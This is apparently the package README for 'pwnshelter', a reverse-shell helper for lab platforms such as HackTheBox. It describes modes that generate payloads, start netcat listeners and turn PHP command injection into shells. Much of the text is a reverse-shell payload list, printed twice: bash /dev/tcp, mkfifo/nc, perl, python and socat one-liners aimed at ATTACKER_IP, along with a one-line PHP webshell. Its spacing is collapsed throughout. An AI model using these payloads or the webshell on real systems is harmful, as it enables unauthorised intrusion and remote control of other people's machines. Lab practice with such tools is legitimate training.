Package: pwnshelter
ShelterShelter the magical Shell Handler.What is it ?Shelter is a new way to catch reverse shell's and also reduces the effort of visitingpentestmonkeyandhighoncoffeefrequently for reverse shell payloads and changing of theAttacker-IPandAttacker-Porteverytime.Shelter is made to perform in 4 mode's. The required mode can be easily set by passing the argument of the mode to the script.rev: Generates and copies reverse shell payload withIPandportset to clipboard and also starts up a netcat.web: Webshell interactor for GET parameter command injection in php.webrev: Convert's a classic GET parameter command injection in php to a reverse shell.host: Will host post exploitation module's likepspy,linpeasetc. from the attackbox usingpython http.serverorupdogand copy the web url to the clipboard.This tool is focused towards the solver's ofhackthebox,tryhackmeor any other labs withvpnconnection.✨ Featuresrev ModuleGenerate and copy revshell payload withATTACKERIP[default: tun0] andATTACKERPORT.Start's Up a netcat listener on that port for catching the shell.Support's13language's of reverse shell payload's all tested.Only Linux payload's are supported for now.Reduces the hassle of visitingpentestmonkeyorhighoncoffeereverse shell cheatsheet for geting reverse shell payloads and changing theIPandPORTon it everytime.This tools is not claiming to be better than pentestmonkey or highoncoffee by any means.web ModuleReduces the hassle of writting commands inburpsuitein time of php parameter command injection and url encoding every time.Automatically, URL encodes the command before sending it.webrev ModuleConverts a dumb GET parameter command injection to a reverse shell.Generates a reverse shell payload with setATTACKERIP[default : tun0] andATTACKERPORTand sends it to webserver url encoded.Starts up a netcat listner on the givenATTACKERPORTfor catching the shell.host Module[Coming Soon...]It will create awwwdirectory withphpreverseshell,powershell reverseshell, while setting theATTACKERIPandATTACKERPORTand post exploitation tools likepspy,linpeas,winpeasetc. usingupdogor classicpython http.server.It will also copy the url of the file hosted from the server to the clipboard for easy pasting andwgettingUsageRev ModuleHelp Menu┌─[root@Xyan1d3]─[/opt/github/shelter]└──╼# ./shelter.py rev --helpusage:shelter.pyrev[-h]{bash,bashi,bash196,bashrl,bash5,bashudp,nc_mkfifo,perl,py2,py,py2export,pyexport,socat}...optionalarguments:-h,--helpshowthishelpmessageandexitAvailablePayloads:{bash,bashi,bash196,bashrl,bash5,bashudp,nc_mkfifo,perl,py2,py,py2export,pyexport,socat}bashechobase64_encoded_bash-i_payload|base64-d|bashbashibash-i>&/dev/tcp/ATTACKER_IP/ATTACKER_PORT0>&1bash1960<&196;exec196<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT;bash<&196>&1962>&196bashrlexec5<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT;cat<&5|whilereadline;do$line2>&5>&5;donebash5bash-i5<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT0<&51>&52>&5bashudpbash-i>&/dev/udp/ATTACKER_IP/ATTACKER_PORT0>&1nc_mkfiform/tmp/f;mkfifo/tmp/f;cat/tmp/f|bash-i2>&1|ncATTACKER_IPATTACKER_PORT>/tmp/fperlperl-e'use Socket;$i="ATTACKER_IP";$p=ATTACKER_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'py2python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);importpty;pty.spawn("bash")'pypython3-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);importpty;pty.spawn("bash")'py2exportexportRHOST="ATTACKER_IP";exportRPORT=ATTACKER_PORT;python-c'importsys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd)forfdin(0,1,2)];pty.spawn("bash")'pyexportexportRHOST="ATTACKER_IP";exportRPORT=ATTACKER_PORT;python3-c'importsys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd)forfdin(0,1,2)];pty.spawn("bash")socatsocatTCP:ATTACKER_IP:ATTACKER_PORTEXEC:'bash',pty,stderr,setsid,sigint,sane┌─[root@Xyan1d3]─[/opt/github/shelter]└──╼# ./shelter.py rev py --helpusage:shelter.pyrevpy[-h][--nohandler][-i127.0.0.1][-p8888]optionalarguments:-h,--helpshowthishelpmessageandexit--nohandlerCopiesonlytherevshellpayload.[Doesnotstarthandler]-i127.0.0.1IPforreverseshell.-p8888PORTforreverseshell.Taking a reverse shell from a docker container.Web ModuleHelp Menu┌─[root@Xyan1d3]─[/opt/github/shelter]└──╼# ./shelter.py web --helpusage:shelter.pyweb[-h][-fF][-paramPARAM][--ssl][--nossl]URLpositionalarguments:URLTargetURL[http://127.0.0.1/cmd.php]optionalarguments:-h,--helpshowthishelpmessageandexit-fFFilenameofthewebshell[Default:cmd.php].Incaseyouenteronlyipinurlarg.-paramPARAMGETparametertosendcommands.[Default:cmd]--sslForceHTTPS--nosslForcedowngradetoHTTPBy default it assume's filenamecmd.phpand GET parametercmdif not specified as an argument.The php code responsible for getting a simple GET parameter webshell.root@6a647b5a3d5f:~# cat cmd.php<?phpsystem($_GET[cmd]);?>Webshell on a docker container.Webrev ModuleHelp Menu┌─[root@Xyan1d3]─[/opt/github/shelter]└──╼# ./shelter.py webrev --helpusage:shelter.pywebrev[-h][-fF][-paramPARAM][--ssl][--nossl]URL{bash,bashi,bash196,bashrl,bash5,bashudp,nc_mkfifo,perl,py2,py,py2export,pyexport,socat}...positionalarguments:URLTargetURL[http://127.0.0.1/cmd.php]optionalarguments:-h,--helpshowthishelpmessageandexit-fFFilenameofthewebshell[Default:cmd.php].Incaseyouenteronlyipinurlarg.-paramPARAMGETparametertosendcommands.[Default:cmd]--sslForceHTTPS--nosslForcedowngradetoHTTPAvailablePayloads:{bash,bashi,bash196,bashrl,bash5,bashudp,nc_mkfifo,perl,py2,py,py2export,pyexport,socat}bashechobase64_encoded_bash-i_payload|base64-d|bashbashibash-i>&/dev/tcp/ATTACKER_IP/ATTACKER_PORT0>&1bash1960<&196;exec196<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT;bash<&196>&1962>&196bashrlexec5<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT;cat<&5|whilereadline;do$line2>&5>&5;donebash5bash-i5<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT0<&51>&52>&5bashudpbash-i>&/dev/udp/ATTACKER_IP/ATTACKER_PORT0>&1nc_mkfiform/tmp/f;mkfifo/tmp/f;cat/tmp/f|bash-i2>&1|ncATTACKER_IPATTACKER_PORT>/tmp/fperlperl-e'use Socket;$i="ATTACKER_IP";$p=ATTACKER_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'py2python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);importpty;pty.spawn("bash")'pypython3-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);importpty;pty.spawn("bash")'py2exportexportRHOST="ATTACKER_IP";exportRPORT=ATTACKER_PORT;python-c'importsys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd)forfdin(0,1,2)];pty.spawn("bash")'pyexportexportRHOST="ATTACKER_IP";exportRPORT=ATTACKER_PORT;python3-c'importsys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd)forfdin(0,1,2)];pty.spawn("bash")socatsocatTCP:ATTACKER_IP:ATTACKER_PORTEXEC:'bash',pty,stderr,setsid,sigint,saneRevshell on a docker container.DisclaimerDon't use this script for any malicious or illegal purpose's. The Author or any contributor of this repository or tool is not responsible for any of those activities.